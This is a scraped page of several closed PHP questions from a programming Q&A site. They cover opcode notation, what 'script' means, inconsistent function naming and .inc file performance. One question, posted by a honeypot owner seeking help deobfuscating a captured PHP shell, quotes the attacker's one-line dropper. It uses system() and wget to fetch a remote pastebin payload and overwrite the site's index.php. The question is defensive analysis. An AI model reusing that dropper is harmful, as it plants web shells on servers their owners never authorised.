Explanation of PHP opcode instructions [closed] - php

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
I found the list of PHP opcodes and this helped me a bit to understand the internals of PHP. But I still have problems to exactly understand the scheme used to display all informations of the opcodes on this page. For example, look here under the section PHP opcodes. I already figured out that a "!" means variable, a "->" means line of code and a "~" seems to address a "memory for internal computed results", e.g. echo 2 + 3 has to compute 2 + 3 first, so the result will be stored temporarily.
I would really appreciate a detailed explanation of the characters used in the explanations of the opcodes and the meaning of the columns "fetch" and "ext". Also, there are no opcodes for the numbers 116-131 and 137. Does this have a meaning?

Related

What is the actual meaning of "script" in php? [closed]

Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 6 years ago.
Improve this question
I know that php is a scripting language. But some of php codes/docs, like when i tried to use magic methods, still use the "script" word. Like the __invoke() method that is called when "a script tries to call an object as a function". Here, in "script tries" - what exactly does "script" here refer to?
A script is a pretty vague term, generally, a script is a group of code that preforms in and around a root goal, like a script to generate a json file that has some input parameters which slightly modify the final output.
In PHP, you might have one main script in your project, or you may have many fragments - there is not hard line that says what is a script.
You may even call other scripts from yours; voting to close as opinion based.

Deobfuscate this PHP shell attack [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 7 years ago.
Improve this question
One of my honeypot systems has a pretty interesting PHP shell on it, i've been trying to decode it, but I'm not having any luck getting the contense of the gzinflated b64 encoded part of the script.
Maybe someone with a little more experience with deobfuscating could take a look at it?
Here's the original pastebin they used to download to my honeypot:
http://pastebin.com/1w59Ew9S
<?php if($_SERVER["REMOTE_ADDR"] =='ATTACKER_IP') {#system('wget http://pastebin.com/raw.php?i=1w59Ew9S -O /www/index.php;ls -la /www/index.php');exit; }?>
I attempted to deobfucsate it myself by printing variables in different places, but i can't for the life of me get the contents to print out.
Here's my attempt at making it a little bit more human readable:
http://pastebin.com/BRbyVzyZ

Why are php functions named so strangely? [closed]

Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 8 years ago.
Improve this question
It sometimes feels like a drunk person wrote all the functions for php...Some are combined words with no underscore, other times functions are randomly underscored...Like using 'strtolower' and 'str_replace'...why does the former not have underscores (like str_to_lower) and the later does? and for that matter why is 'replace' the full word but 'str' isn't 'string'? If we are shortening words why not "str_rep"? Or better yet, why shorten anything and instead just make everything clear, obvious and readable, like "string_replace" and maybe consistently apply this to all functions in php? Is there some reason for why these functions are so strangely named? Is it just sloppy laziness in the language or do these apparent inconsistencies have some meaning?
Have a look at the history of PHP: http://en.wikipedia.org/wiki/PHP#History
It was developed organically by different people, what resulted in this inconsistent naming.

Why is PHP inconsistent? [closed]

Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 9 years ago.
Improve this question
Though, a best kick-start development language; but I don't know why PHP lacks of consistency in naming functions etc? I've been developing for years, but most often I miss-spell function names and forget their parameter structures. Why isn't there any standard conventions followed in PHP for naming? Some times, it's like substr and sometimes str_replace? I often forget if needle should be first argument or second? or haystack be first or second? Is team behind PHP working on developing a consistent conventions and names?

Does It Has any effect on performance to change functions.php to functions.php.inc [closed]

Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 9 years ago.
Improve this question
I have stored all my necessary functions to a file functions.php.inc and I use this at the top of each page like this
require_once("functions.php.inc");
I want to know that Is there any effect on performance to have this name. If I change the functions.php.inc to functions.php will it give better performance or there is no any difference.
Besides the .inc warning given in comments, there should be no performance impact (extra 4 characters comparison, negligible ; the file system also is very comfortable with having to deal with a 13 or 17 chars file name).
Also, in recent versions of PHP, the APC cache is included (default), meaning that there is no extra parsing of the file that require that inc file (just the first time it is accessed). Then APC checks the file status (from file system) to detect a change when it is accessed again, from further requests.

Categories